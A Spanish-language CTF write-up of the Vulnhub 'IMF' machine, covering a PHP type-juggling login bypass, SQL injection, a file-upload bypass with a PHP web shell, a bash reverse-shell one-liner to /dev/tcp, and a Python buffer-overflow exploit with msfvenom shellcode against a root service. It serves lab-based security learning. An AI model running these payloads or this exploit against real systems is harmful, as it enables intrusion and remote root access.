Post

IMF | CTF Writeup - Vulnhub

IMF

Primeramente, debemos aplicar un escaneo de la red local para poder así descubrir la IP de la máquina víctima. Lo haremos mediante el protocolo ARP, con la herramienta arp-scan:

1
2
3
4
5
6
7
8
9
10
11
> arp-scan -I ens33 --localnet  

Interface: ens33, type: EN10MB, MAC: 00:0c:29:85:8e:61, IPv4: 192.168.216.133
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.216.1	00:50:56:c0:00:08	VMware, Inc.
192.168.216.2	00:50:56:e2:11:a1	VMware, Inc.
192.168.216.136	00:0c:29:6b:78:11	VMware, Inc.
192.168.216.254	00:50:56:e7:c0:0d	VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.796 seconds (142.54 hosts/sec). 4 responded

La IP a atacar será la 192.168.216.136. Ahora procedemos a enumerar los puertos y servicios que corren en esa máquina con la utilidad nmap. Utilizaremos los siguientes parámetros para la herramienta:

  • -sS: SYN Scan. Usado para enviar paquetes TCP con la flag SYN y posteriormente responder al servidor con un RST. Utilizado para identificar puertos de manera ‘sigilosa’.
  • -T5: Modo “alocado” de nmap. No es sigiloso pero acelera el proceso.
  • -p-: Parámetro para escanear los 65535 puertos.
  • -Pn: No queremos que nos aplique descubrimiento de hosts mediante ping.
  • -n: No queremos que nos aplique resolución DNS.
  • --min-rate 5000: Queremos tramitar no menos de 5000 paquetes por segundo.
  • -oN: Exportamos el output al archivo scan.txt.
1
2
3
4
5
6
7
8
9
# Nmap 7.93 scan initiated Thu Jan 11 01:18:21 2024 as: nmap -sS -T5 -p- -Pn -n --min-rate 5000 -oN scan.txt 192.168.216.136
Nmap scan report for 192.168.216.136
Host is up (0.00017s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:0C:29:B2:F8:55 (VMware)

# Nmap done at Thu Jan 11 01:18:47 2024 -- 1 IP address (1 host up) scanned in 26.43 seconds

Para el puerto descubierto, aplicamos scripts básicos integrados en nmap con el parámetro -sC, y luego verificamos la versión del servicio que corre sobre el puerto con -sV. Lo unimos todo en el parámetro -sCV.

1
2
3
4
5
6
7
8
9
10
11
12
# Nmap 7.93 scan initiated Thu Jan 11 01:19:53 2024 as: nmap -sCV -p80 -oN targeted.txt 192.168.216.136
Nmap scan report for 192.168.216.136
Host is up (0.00042s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: IMF - Homepage
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 00:0C:29:B2:F8:55 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jan 11 01:20:04 2024 -- 1 IP address (1 host up) scanned in 11.50 seconds

No vemos nada interesante, solo la versión de Apache. Si quisiéramos, podríamos verificar el codename de la máquina para saber la versión de Ubuntu. Con Launchpad vemos que es un Ubuntu Xenial.

Si nos abrimos la aplicación web, en la pestaña de Network del navegador veremos lo siguiente:

[Captura de pantalla (171).png]

Curiosamente, los archivos JavaScript que se están cargando tienen nombres codificados en base64. Si nos abrimos la sección de Contact, vemos lo siguiente en el código fuente:

[Captura de pantalla (173).png]

También vemos que hay varios usuarios potenciales, como rmichaels y akeith. Sin embargo, hasta ahora no tenemos ninguna sección de login.

Decodificamos la primera flag:

[Captura de pantalla (174).png]

Esta pista quizás se refiere a los nombres de los archivos escritos en base64. Si juntamos todos los nombres y lo decodificamos, obtenemos lo siguiente:

[Captura de pantalla (175).png]

Decodificamos la flag:

[Captura de pantalla (176).png]

Mhm. Si nos vamos al directorio /imfadministrator dentro de la página podemos apreciar que existe y que contiene una sección de login. El código fuente tiene un comentario un tanto peculiar.

[Captura de pantalla (177).png]

Podemos intentar iniciar sesión como algún usuario. Vimos anteriormente que teníamos potenciales usuarios, y podemos probarlo aquí.

[Pasted image 20240115014419.png]

Nos aparece Invalid password. Si intentamos modificar la query poniendo una comilla simple o una comilla doble, el proceso sigue igual. Si corremos sqlmap con la petición a la web, veremos que aparentemente no es vulnerable a SQL Injection.

Si interceptamos con Burp Suite, vemos que se está tramitando la siguiente petición por POST:

[Pasted image 20240115014703.png]

Tenemos un vector potencial de ataque. Si se está procesando la información de la forma  0 == strcmp($_GET['pass'], $password), podemos lograr que NULL sea el valor de retorno de la función strcmp y, dado que se está efectuando una comparativa con un doble igual, 0 será efectivamente igual a NULL por el typecast del doble igual. En simples palabras, la función strcmp compara si dos strings son iguales, y podemos bypassearla colocando corchetes en el valor de pass. Esto hará que retorne NULL (por la comparación entre un array y un string), y como se compara con un 0, PHP interpreta que 0==NULL evalúa a true, y por ende, seguirá con la ejecución del código de manera normal.

Modificamos la petición y, efectivamente, vemos que se da una vulnerabilidad Type Juggling.

[Captura de pantalla (179).png]

¡Tenemos la tercera flag! Si la decodificamos:

[Captura de pantalla (180).png]

Vamos al hyperlink que se nos devuelve en la respuesta. Vemos lo siguiente:

[Captura de pantalla (181).png]

¿Qué pasaría si colocamos una comilla simple en la URL? Como no sabemos cómo está montada la web por detrás, podríamos intentar averiguar si se está efectuando una query SQL por medio de parámetros en la URL.

[Pasted image 20240115015839.png]

Es vulnerable a inyecciones SQL. En estas circunstancias, podemos intentar enumerar columnas con la query ORDER BY n-- -, con n siendo un número de columnas específicas, Fuzzeamos hasta encontrar, pero nos devuelve siempre la misma respuesta:

[Pasted image 20240115020030.png]

Intentamos con inyecciones booleanas. En este caso, aplicamos la comparativa 'b'='b. No comentamos el resto de la query y dejamos que el servidor cierre por detrás la otra comilla.

[Captura de pantalla (183).png]

Bien. Tenemos una respuesta distinta. Esto nos indica que vamos por buen camino. Si aplicamos la herramienta sqlmap para acelerar el proceso, nos encuentra lo siguiente:

[Captura de pantalla (184).png]

[Captura de pantalla (185).png]

Vemos una página que no figuraba en la web: tutorials-incomplete. Si entramos, nos encontramos con un código QR.

[Pasted image 20240115020644.png]

Si lo escaneamos, nos da la cuarta flag.

flag4{dXBsb2Fkcjk0Mi5waHA=}

Si la decodificamos, nos encontramos con el nombre de un archivo php.

[Pasted image 20240115020850.png]

[Captura de pantalla (189).png]

Esto nos da pie a un abuso de subida de archivos. Nos creamos nuestro webshell.php:

1
2
3
<?php
	echo system($_GET['cmd']);
?>

[Captura de pantalla (190).png]

Si lo subimos, el servidor nos responde con un error.

1
Error: Invalid file type.

Si cambiamos el Content-Type a image/gif y añadimos los Magic Bytes de los archivos GIF a nuestro archivo PHP, además de cambiar la extensión y tener una doble extensión (de webshell.php a webshell.php.gif), nos bloquea el Web Application Firewall (WAF).

1
Error: CrappyWAF detected malware. Signature: system php function detected

Si probamos con cambiar la función system() a eval(), nos tira el mismo error. Sin embargo, indagando más, podemos inyectar comandos con los backticks (``).

[Captura de pantalla (191).png]

En la respuesta podemos encontrar el nombre del archivo. Si vamos a http://{imfIP}/uploads/{nombreDelArchivo}.gif, nos está interpretando el código PHP.

[Pasted image 20240115022309.png]

Nos entablamos una reverse shell con el comando bash -c 'bash -i >& /dev/tcp/{localIp}/{localPort} 0>&1'.

[Pasted image 20240115022340.png]

Sin embargo, tenemos que ir al archivo dentro de la página para que se nos interprete. Nos ponemos en escucha en la terminal con netcat (nc -nvlp {localPort}) por el puerto que colocamos en el comando previamente inyectado, y nos adentramos en la web.

[Pasted image 20240115022631.png]

Hacemos un tratamiento de la tty:

[Pasted image 20240115022705.png]

Vemos la flag número 5.

[Pasted image 20240115022736.png]

Esto nos hace pensar que está corriendo un servicio llamado agent. Si hacemos un netstat -nat para ver el estado de las conexiones TCP.

[Pasted image 20240115023036.png]

Vemos que está corriendo un servicio en local por el puerto 7788. Si nos conectamos vemos lo siguiente:

[Pasted image 20240115023122.png]

Podemos intentar buscar este binario con el comando find.

[VM-2024-01-13-02-10-29.png]

Encontramos la ruta absoluta (/usr/local/bin/agent). Verificamos los permisos del binario:

[Pasted image 20240115024044.png]

El usuario root está corriendo el servicio. Si le hacemos un ltrace para poder ver algunas funciones que se aplican dentro del binario:

[Pasted image 20240115023358.png]

Vemos que está usando la función strncmp con el input del usuario y un valor decimal. Si lo copiamos y lo pegamos en el valor de Agent ID del binario:

[Pasted image 20240115023531.png]

Nos lo traemos a nuestra máquina de atacantes para analizarlo con la herramienta ghidra.

[VM-2024-01-13-02-24-15.png]

Vemos que es un binario de 32 bits. Nos abrimos ghidra, nos creamos nuestro proyecto Binary Analysis y colocamos nuestro archivo allí.

[VM-2024-01-13-02-29-26.png]

Vemos que se está aplicando la comparativa con el ID esperado, como habíamos visto con ltrace. Analizando todas las funciones que se están aplicando, en la función report() se está aplicando a su vez la función gets() nativa de C. Es considerada vulnerable a un ataque Buffer Overflow.

[Pasted image 20240115024641.png]

Lo confirmamos con el debugger gdb.

[Pasted image 20240115024736.png]

Se acontece un Segmentation Fault. Vemos que en el registro EAX se están rescribiendo un total de 152 Aes. Esto nos será de gran valor para un futuro. A su vez, el registro EIP también está siendo reescrito. Sabemos que el EIP contiene la dirección de la próxima instrucción a ejecutar. Vamos a ver la seguridad y a calcular el offset (es decir, el ‘error’) hasta llegar al EIP con checksec, pattern create y pattern offsetrespectivamente.

[Pasted image 20240115025156.png]

[Pasted image 20240115025515.png]

El número hexadecimal 0x41415641 representa el texto ASCII AVAA. Verificamos el offset:

[Pasted image 20240115025451.png]

¡Genial! Ahora creamos nuestro propio patrón de Aes con python3 -c 'print("A"*168 + "B" * 4)'.

[Pasted image 20240115025921.png]

El EIP se reescribió a 0x42424242, es decir, el número de Bs que le indicamos. El EAX sigue con el mismo valor que cuando fuzzeamos por primera vez. Esto nos hace pensar en un posible vector de ataque.

1
2
EAX -> shellcode
EIP -> call eax 

Podemos desensamblar al binario con la herramienta objdump y buscar una llamada al EAX para poder elaborar nuestro ataque.

[Pasted image 20240115030357.png]

Bien. nos copiamos la dirección de esta llamada y la utilizaremos más adelante para realizar el ataque.

Nos creamos nuestro shellcode con msfvenom. Importante: podemos listar los payloads de la herramienta con msfvenom -l payloads. Evitamos los badchars \x00\x0a\x0d.

[Pasted image 20240115030434.png]

Procedemos a elaborar nuestro script en python.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python3 

from struct import pack
import socket

offset = 168;

buf =  b""
buf += b"\xbb\x48\x8d\x41\xf1\xd9\xeb\xd9\x74\x24\xf4\x58"
buf += b"\x2b\xc9\xb1\x12\x31\x58\x12\x03\x58\x12\x83\xa0"
buf += b"\x71\xa3\x04\x01\x51\xd3\x04\x32\x26\x4f\xa1\xb6"
buf += b"\x21\x8e\x85\xd0\xfc\xd1\x75\x45\x4f\xee\xb4\xf5"
buf += b"\xe6\x68\xbe\x9d\x38\x22\x98\xd8\xd1\x31\x19\xf1"
buf += b"\xa9\xbf\xf8\x45\xcf\xef\xab\xf6\xa3\x13\xc5\x19"
buf += b"\x0e\x93\x87\xb1\xff\xbb\x54\x29\x68\xeb\xb5\xcb"
buf += b"\x01\x7a\x2a\x59\x81\xf5\x4c\xed\x2e\xcb\x0f"

payload = buf + b"B"*(offset-len(buf)) + pack("<L", 0x8048563); 

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.216.136", 7788));
s.recv(1024);
s.send(b"48093572\n");
s.recv(1024);
s.send(b"3\n");
s.recv(1024);
s.send(payload + b"\n");

Añadimos nuestro shellcode, aplicamos un ‘padding’ que rellene hasta que se acontezca el Buffer Overflow (calculado por el offset menos la longitud del shellcode, para poder llegar a los 168 caracteres) y luego, como está en formato Little Endian por ser un binario de 32 bits, utilizamos pack para dar vuelta la dirección de la llamada al EAX.

Ahora solo nos falta ejecutar el script en la máquina víctima. Nos transferimos el exploit, ya que recordemos que el puerto 7788 está corriendo internamente y no podemos explotarlo desde nuestra máquina.

Una vez transferido el archivo, lo ejecutamos con python3 y nos ponemos en escucha desde nuestra máquina por el puerto indicado en el payload de msfvenom (en mi caso, el 5000).

[Pasted image 20240115031348.png]

Desde nuestra máquina:

[Pasted image 20240115031427.png]

¡Listo! Tenemos acceso como usuario root. Vemos la última flag:

[Pasted image 20240115031515.png]

Está máquina fue una de mis favoritas por la parte de la explotación del binario de 32 bits. Aprendí mucho durante todo el proceso: tocamos SQLI, Type Juggling Attack, File Upload Abuse y Buffer Overflow. En este caso, también pudimos hacer un poco de reversing para averiguar la vulnerabilidad del archivo y explotarla posteriormente con nuestro script en python.

This post is licensed under CC BY 4.0 by the author.